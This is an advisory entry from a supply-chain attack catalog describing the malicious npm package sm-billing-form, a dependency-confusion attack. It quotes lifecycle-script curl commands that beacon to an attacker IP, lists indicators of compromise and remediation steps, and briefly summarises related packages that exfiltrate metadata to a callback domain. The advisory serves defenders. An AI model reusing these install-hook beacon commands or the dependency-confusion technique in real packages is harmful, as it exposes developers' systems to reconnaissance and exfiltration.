Malicious code in sm-billing-form (npm)
Malicious npm package sm-billing-form (versions 99.0.0 and 99.0.1) contains preinstall and postinstall lifecycle scripts that execute curl commands to a hardcoded IP address (16.192.173.5) over cleartext HTTP, exfiltrating install environment details. The high version number and behavior pattern indicate a dependency-confusion attack targeting internal packages of the same name.
- Disclosed
- Last updated
- Blast radius
- Any developer or system that installed sm-billing-form versions 99.0.0 or 99.0.1 from npm; the malicious preinstall/postinstall scripts execute automatically during npm install.
- Ecosystems
- Attack vectors
- Affected entities
- sm-billing-form · 99.0.0, 99.0.1
The npm package sm-billing-form versions 99.0.0 and 99.0.1 contain malicious code embedded in package.json lifecycle scripts. On installation, the preinstall script executes curl -s http://16.192.173.5/sm-billing-form/pre and the postinstall script executes curl -s http://16.192.173.5/sm-billing-form/post, both over unencrypted HTTP to a bare IP address with no documented relationship to any legitimate publisher.
These requests fire automatically as part of the default npm install process and serve as a reconnaissance probe. The callback to the attacker-controlled endpoint discloses the source IP address and install timing of affected systems, enabling the operator to identify which environments resolved the public package name and installed it.
The version number (99.0.0 and 99.0.1) is consistent with a dependency-confusion attack strategy, where artificially high version numbers are used to outrank internal or private packages of the same name. This pattern suggests the attacker was targeting organizations with internal sm-billing-form packages, using the public npm package as a lure to identify and probe their infrastructure.
The malicious behavior was confirmed by both Amazon Inspector and the OpenSSF Package Analysis project, which flagged the package for executing commands associated with malicious activity.
Indicators of compromise
- Packages
- sm-billing-form@99.0.0
- sm-billing-form@99.0.1
- IPs
- 16.192.173.5
Remediation
- Immediately uninstall sm-billing-form versions 99.0.0 and 99.0.1 from all systems and projects
- Audit npm install logs and network traffic for connections to 16.192.173.5 to identify affected systems
- Review and rotate credentials and access tokens on any system that installed the malicious package
- Implement npm package allow-lists or use private registries to prevent dependency-confusion attacks
- Monitor for follow-on attacks from the attacker-controlled IP address
- Update npm to the latest version and use npm audit to scan for other malicious packages
Sources
- GitHub Advisory GHSA-q99c-rfrp-g979 · GitHub Advisory Database
Cite this entry
"Malicious code in sm-billing-form (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed August 24, 2026; last updated August 24, 2026. https://supplychainattack.org/incident/malicious-code-in-sm-billing-form-npm-rpqu63
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- containedcritical
Malicious code in amundi-compare (npm)
Malicious npm package amundi-compare@999.9.12 published at an inflated version number as a dependency-confusion attack. The package executes a preinstall hook that exfiltrates system and project metadata via HTTP, HTTPS, and DNS covert channels to da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun.
npmCompromised packageDependency confusion - resolvedcritical
Malicious code in fund-calculator (npm)
Malicious npm package fund-calculator (version 999.9.12) contained a preinstall script that collected system and project metadata from installers and exfiltrated it via HTTP, HTTPS, and DNS to a hardcoded callback domain. The package was designed as a dependency-confusion attack to shadow an internal private package.
npmCompromised packageDependency confusion - containedcritical
Malicious code in sm-cart (npm)
Malicious npm package sm-cart (versions 99.0.0 and 99.0.1) uses dependency confusion and preinstall/postinstall scripts to beacon to a hardcoded IP address (16.192.173.5) over plain HTTP, disclosing the installing host's public IP and successful installation. The package is designed to win resolution when an organization has an internal package with the same name.
npmDependency confusionCompromised package - containedcritical
Malicious code in sm-admin (npm)
Malicious npm package sm-admin versions 99.0.0 and 99.0.1 contained preinstall and postinstall lifecycle scripts that made plain-HTTP GET requests to attacker-controlled endpoints, exfiltrating installer IP addresses and probing for private registry usage.
npmCompromised packageDependency confusion